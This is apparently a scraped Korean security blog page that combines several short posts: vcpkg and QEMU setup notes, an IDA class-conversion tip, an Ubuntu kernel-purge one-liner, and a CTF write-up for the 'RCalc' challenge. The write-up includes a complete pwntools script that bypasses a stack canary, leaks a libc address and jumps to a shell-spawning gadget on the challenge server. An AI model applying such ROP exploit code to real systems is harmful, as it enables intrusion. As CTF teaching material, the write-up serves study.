'자료' 카테고리의 다른 글
[Python] Mutation Fuzzer (0) | 2018.05.16 |
---|---|
[Library] vcpkg boost 1.66 설치에러 해결방법 (0) | 2018.02.01 |
[C++] Python format 구현 (0) | 2017.12.03 |
[Ubuntu] upgrade시 용량부족으로 인한 문제 해결 (0) | 2017.10.12 |
[Library] vcpkg (0) | 2017.07.26 |
[Python] Mutation Fuzzer (0) | 2018.05.16 |
---|---|
[Library] vcpkg boost 1.66 설치에러 해결방법 (0) | 2018.02.01 |
[C++] Python format 구현 (0) | 2017.12.03 |
[Ubuntu] upgrade시 용량부족으로 인한 문제 해결 (0) | 2017.10.12 |
[Library] vcpkg (0) | 2017.07.26 |
Python 사용하다가 format이 편해져서 C++에도 있으면 좋겠다 싶어서 만들었습니다.
아래는 소스코드들이예요.
github : https://github.com/Kur0N3k0/util
[Library] vcpkg boost 1.66 설치에러 해결방법 (0) | 2018.02.01 |
---|---|
Abusing File Structure (0) | 2018.01.04 |
[Ubuntu] upgrade시 용량부족으로 인한 문제 해결 (0) | 2017.10.12 |
[Library] vcpkg (0) | 2017.07.26 |
Windbg 명령어 (0) | 2017.01.31 |
dpkg -l linux-* | awk '/^ii/{ print $2}' | grep -v -e `uname -r | cut -f1,2 -d"-"` | grep -e [0-9] | grep -E "(image|headers)" | xargs sudo apt-get -y purge
Abusing File Structure (0) | 2018.01.04 |
---|---|
[C++] Python format 구현 (0) | 2017.12.03 |
[Library] vcpkg (0) | 2017.07.26 |
Windbg 명령어 (0) | 2017.01.31 |
[펌] 동적 메모리 관리 (0) | 2016.12.26 |
변환 방법
1. vtable을 구조체형식으로 선언
2. constructor에서 사용되는 변수들을 기반으로 class를 구조체형식으로 작성
결과적으로는 아래와 같은 구조를 가짐
struct class1{ _vtable_class *vtable; char dummy[168]; _DWORD some; char dummy2[6]; } struct _vtable_class { __int64 (__fastcall *f1)(); __int64 (__fastcall *f2)(); __int64 (__fastcall *f3)(); __int64 (__fastcall *f4)(); };
유저 영역 Stack Canary 분석 (2) | 2018.08.16 |
---|---|
python AES (0) | 2018.08.10 |
[QEMU] iptime emulating (2) | 2017.07.26 |
[how2heap] poison_null_byte (0) | 2017.05.09 |
64비트 Calling Convention (0) | 2017.05.09 |
힘드렀다
apt-get install qemu-system-mipsel
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2
qemu-system-mipsel -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -nographic -redir tcp:3080::80 -redir tcp:3022::22
cp ./default/* ./tmp/
chroot ./ ./bin/sh
./sbin/httpd
cd /
mkdir /home/httpd/192.168.0.1/sess-bin
cp -r cgibin/* /home/httpd/192.168.0.1/sess-bin/
cp -r cgibin/* /bin/login-cgi
python AES (0) | 2018.08.10 |
---|---|
[IDA] C++ Class 변환 (0) | 2017.08.09 |
[how2heap] poison_null_byte (0) | 2017.05.09 |
64비트 Calling Convention (0) | 2017.05.09 |
GCC Stack Boundary (0) | 2017.04.27 |
vcpkg 설치
소스코드 가져오기
C:\>git clone https://github.com/Microsoft/vcpkg.git c:\work.vcpkg
Cloning into 'c:\work.vcpkg'...
...
빌드
C:\work.vcpkg>c:\work.vcpkg\bootstrap-vcpkg.bat
Microsoft (R) Build Engine version 14.0.25420.1
...
Visual Studio 연동
C:\work.vcpkg>vcpkg integrate install
Applied user-wide integration for this vcpkg root.
All MSBuild C++ projects can now #include any installed libraries.
Linking will be handled automatically.
Installing new libraries will make them instantly available.
CMake projects should use -DCMAKE_TOOLCHAIN_FILE=C:/work.vcpkg/scripts/buildsystems/vcpkg.cmake
C:\work.vcpkg>
패키지 설치
C:\work.vcpkg>vcpkg install boost:x86-windows boost:x86-windows-static boost:x64-windows boost:x64-windows-static
C:\work.vcpkg>vcpkg install curl:x86-windows curl:x86-windows-static curl:x64-windows curl:x64-windows-static
C:\work.vcpkg>vcpkg install sqlite3:x86-windows sqlite3:x86-windows-static sqlite3:x64-windows sqlite3:x64-windows-static
C:\work.vcpkg>vcpkg install jsoncpp:x86-windows jsoncpp:x86-windows-static jsoncpp:x64-windows jsoncpp:x64-windows-static
C:\work.vcpkg>vcpkg install gtest:x86-windows gtest:x86-windows-static gtest:x64-windows gtest:x64-windows-static
[C++] Python format 구현 (0) | 2017.12.03 |
---|---|
[Ubuntu] upgrade시 용량부족으로 인한 문제 해결 (0) | 2017.10.12 |
Windbg 명령어 (0) | 2017.01.31 |
[펌] 동적 메모리 관리 (0) | 2016.12.26 |
[Heap] how2heap (shellpish) (0) | 2016.12.25 |
솔직히 면접 때문에 기대 하지도 않았다.
뭐.. 멘탈이 탈수기에서 탈탈 털리고 수분기가 쫙 빠질 때 쯤,
26일에 발표가 될 줄 알고 한껏 쫄아있었는데 27일 오후 2시에 발표가 된다고 한다.
흠.. 뭐라고 해야하나.. 하루 더 기다린다고 생각하니 좀 그렇더라
(여담이지만, 하루 늦게 발표된게 술드셨다고 하는거 같던ㄷ.. 읍읍!!)
쨌든 결과를 말하자면 합격이다.
크나큰 오예다 오예
바이너리
어.. 일단 64bit rop는 처음이였기에 많이 오래걸렸었고.. 대략적인 풀이 방법으로는 아래와 같다.
1. urandom으로 생성된 canary 우회
2. __libc_start_main leak
3. libc.so.6 에서 /bin/sh를 찾아보면 자동으로 execve를 호출해주는 것을 확인
4. __libc_start_main - __libc_start_main_offset + execve_offset 을 통해 최종 목적 주소를 구함
5. got overwrite를 통한 execve호출
6. 플래그 확인
자세하게 설명하도록 하겠다.
main 함수는 아래와 같이 간단하게 시드를 할당 및 초기화 해주는 함수를 호출 후
타임 아웃 시간을 설정하고 계산을 해주는 함수를 호출 한다.
init_seedz 함수를 살펴보도록 하자.
할당된 순서는 c_result, seed, c_result->seed_arr, seed->seed_arr 이므로 만약 우리가 c_result의 seed_arr을 overflow 해줄 수만 있다면
seed->seed_arr을 덮어씌울 수 있을 것이다.
main함수로 돌아와서 calc함수를 살펴보도록 하자.
먼저 randomize를 호출해주는데 이는 위와 같이 처음에 seed를 urandom에서 불러와 값을 저장해주는 것을 볼 수 있다.
이 값이 나중에 get_current_seed 함수를 통해 불러와지게 되고 스택에 저장됐던 값과 비교를 통해 함수가 정상 반환될 지 결정한다.
scanf를 통해서 bof가 충분히 가능하고 scanf의 특성상 공백 문자전까지만 받아 올 수 있다는 것만 기억해두고
execute_calculator함수를 살펴보자.
간단하게 숫자 2개를 입력받아서 add, sub, mod, mul을 해준 뒤 결과값을 받아와 c_result->seed_arr[c_result->cnt++]에 저장해준다.
c_result와 seed를 덤프해보면 각각의 seed_arr의 차이가 0x110 바이트 차이가 난다.
그 공간에 8바이트의 결과값들을 저장해주는데 우리가 넣은 숫자 두개의 계산 결과가 c_result에 저장되기때문에
0x110 / 8번을 반복해서 넣어주면 정확하게 c_result->seed_arr보다 뒤에 있는 seed->seed_arr[0]에 덮어씌워진다.
이를 통해 randomize() ~ get_current_seed() 함수들을 우회가능해졌다.
from pwn import * con = remote("rcalc.2017.teamrois.cn", 2333) #con = process("./RCalc/RCalc") libc = ELF("./RCalc/libc.so.6") seed = int("neko".encode("hex"), 16) def start(payload): con.recvuntil("Input your name pls: ") con.sendline(payload) con.recvuntil("Let's try our smart calculator\n") def add(): con.recvuntil("Your choice:") con.sendline("1") print con.recvuntil("input 2 integer: ") con.sendline(str(seed)) con.sendline(str(0x00)) def save(): con.recvuntil("Save the result? ") con.sendline("yes") def end(): con.recvuntil("Your choice:") con.sendline("5") libc_start_main_got = 0x601FF0 main = 0x401036 poprdi_ret = 0x00401123 poprsi_pop_ret = 0x00401121 sub_puts = 0x00400FC2 poprbp_ret = 0x00400970 bss = 0x602138 libc_start_main_offset = libc.symbols['__libc_start_main'] system_offset = 0x4526A print hex(libc_start_main_offset) print hex(system_offset) payload = "" payload += "A" * 0x108 payload += p64(seed) # seed payload += p64(bss) # dummy payload += p64(poprdi_ret) payload += p64(libc_start_main_got) payload += p64(sub_puts) start(payload) for i in range(0x110/8+1): print (i + 1), "Attempt" add() save() print "Get Libc Addr" end() libc_start_main = int(con.recv(8)[::-1].encode("hex"), 16) libc_system = libc_start_main - libc_start_main_offset + system_offset print "__libc_start_main : " + hex(libc_start_main) print "system : " + hex(libc_system) con.sendline(p64(libc_system)) con.interactive()
[defcon26] racewars (0) | 2019.03.25 |
---|---|
[Codegate 2019] writeup (0) | 2019.01.29 |
[Codegate2017 Pre] EasyCrack101 (0) | 2017.02.11 |
[Codegate2017 Pre] BabyMISC (0) | 2017.02.11 |
[Codegate2017 Pre] BabyPwn (0) | 2017.02.11 |